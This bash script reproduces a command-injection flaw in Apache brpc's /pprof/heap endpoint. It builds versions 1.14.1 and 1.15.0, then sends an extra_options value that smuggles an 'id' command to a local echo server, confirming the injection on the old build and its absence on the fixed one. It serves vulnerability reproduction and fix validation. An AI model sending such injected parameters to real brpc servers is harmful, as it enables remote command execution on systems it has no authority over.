#!/usr/bin/env bash
set -euo pipefail

ROOT="$(cd "$(dirname "$0")/.." && pwd)"
WORKDIR="$ROOT/work"
LOG_DIR="$ROOT/logs"
mkdir -p "$WORKDIR" "$LOG_DIR"

cleanup() {
  if [[ -n "${VULN_PID:-}" ]]; then
    kill "$VULN_PID" 2>/dev/null || true
  fi
  if [[ -n "${FIXED_PID:-}" ]]; then
    kill "$FIXED_PID" 2>/dev/null || true
  fi
}
trap cleanup EXIT

log() {
  echo "[repro] $*"
}

install_deps() {
  log "Installing build dependencies"
  if ! apt-get update; then
    echo "BLOCKED: apt-get update failed" | tee "$LOG_DIR/blocked.txt"
    exit 99
  fi
  if ! apt-get install -y \
      build-essential cmake git curl \
      libprotobuf-dev protobuf-compiler \
      libgflags-dev libgoogle-glog-dev libleveldb-dev \
      libssl-dev zlib1g-dev liblz4-dev libjemalloc-dev; then
    echo "BLOCKED: apt-get install failed" | tee "$LOG_DIR/blocked.txt"
    exit 99
  fi
}

prepare_repo() {
  if [[ ! -d "$WORKDIR/brpc/.git" ]]; then
    log "Cloning brpc"
    git clone https://github.com/apache/brpc.git "$WORKDIR/brpc"
  else
    log "Updating brpc tags"
    git -C "$WORKDIR/brpc" fetch --tags
  fi

  if [[ ! -d "$WORKDIR/brpc-1.14.1" ]]; then
    git -C "$WORKDIR/brpc" worktree add "$WORKDIR/brpc-1.14.1" 1.14.1
  fi
  if [[ ! -d "$WORKDIR/brpc-1.15.0" ]]; then
    git -C "$WORKDIR/brpc" worktree add "$WORKDIR/brpc-1.15.0" 1.15.0
  fi
}

build_brpc() {
  local version_dir="$1"
  log "Building brpc in $version_dir"
  mkdir -p "$version_dir/build"

  if [[ ! -f "$version_dir/build/output/lib/libbrpc.a" ]]; then
    (cd "$version_dir/build" && cmake ..)
    (cd "$version_dir/build" && make -j2)
  else
    log "Using existing brpc build artifacts"
  fi

  (cd "$version_dir" && ./config_brpc.sh --headers=/usr/include --libs=/usr/lib/x86_64-linux-gnu)
  if [[ ! -e "$version_dir/output" ]]; then
    ln -s "$version_dir/build/output" "$version_dir/output"
  fi

  if [[ ! -f "$version_dir/example/echo_c++/echo_server" ]]; then
    (cd "$version_dir/example/echo_c++" && make -j2)
  else
    log "Using existing echo_server binary"
  fi
}

start_server() {
  local binary_path="$1"
  local log_path="$2"
  MALLOC_CONF="prof:true" \
  LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so.2 \
  JEPROF_FILE=/usr/bin/jeprof \
  "$binary_path" --port=8000 > "$log_path" 2>&1 &
  echo $!
}

check_status() {
  for _ in $(seq 1 10); do
    if curl -s -o /dev/null -w "%{http_code}" http://127.0.0.1:8000/status | grep -q 200; then
      return 0
    fi
    sleep 1
  done
  return 1
}

install_deps
prepare_repo

build_brpc "$WORKDIR/brpc-1.14.1"

log "Starting vulnerable server"
VULN_PID=$(start_server "$WORKDIR/brpc-1.14.1/example/echo_c++/echo_server" "$LOG_DIR/echo_server_vuln.log")
if ! check_status; then
  echo "BLOCKED: vulnerable server failed to start" | tee "$LOG_DIR/blocked.txt"
  exit 99
fi

log "Triggering command injection"
VULN_RESP="$LOG_DIR/vuln_response.txt"
curl -s "http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true" | tee "$VULN_RESP" >/dev/null
if ! grep -q "uid=" "$VULN_RESP"; then
  echo "FAIL: command injection not observed in vulnerable build" | tee "$LOG_DIR/failed.txt"
  exit 1
fi

kill "$VULN_PID" 2>/dev/null || true
sleep 2

build_brpc "$WORKDIR/brpc-1.15.0"

log "Starting fixed server"
FIXED_PID=$(start_server "$WORKDIR/brpc-1.15.0/example/echo_c++/echo_server" "$LOG_DIR/echo_server_fixed.log")
if ! check_status; then
  echo "BLOCKED: fixed server failed to start" | tee "$LOG_DIR/blocked.txt"
  exit 99
fi

log "Validating fix (no command injection)"
FIXED_RESP="$LOG_DIR/fixed_response.txt"
curl -s "http://127.0.0.1:8000/pprof/heap?display=text&extra_options=inuse_space;id;true" | tee "$FIXED_RESP" >/dev/null
if grep -q "uid=" "$FIXED_RESP"; then
  echo "FAIL: command injection still possible in fixed build" | tee "$LOG_DIR/failed.txt"
  exit 1
fi

log "Reproduction successful"
exit 0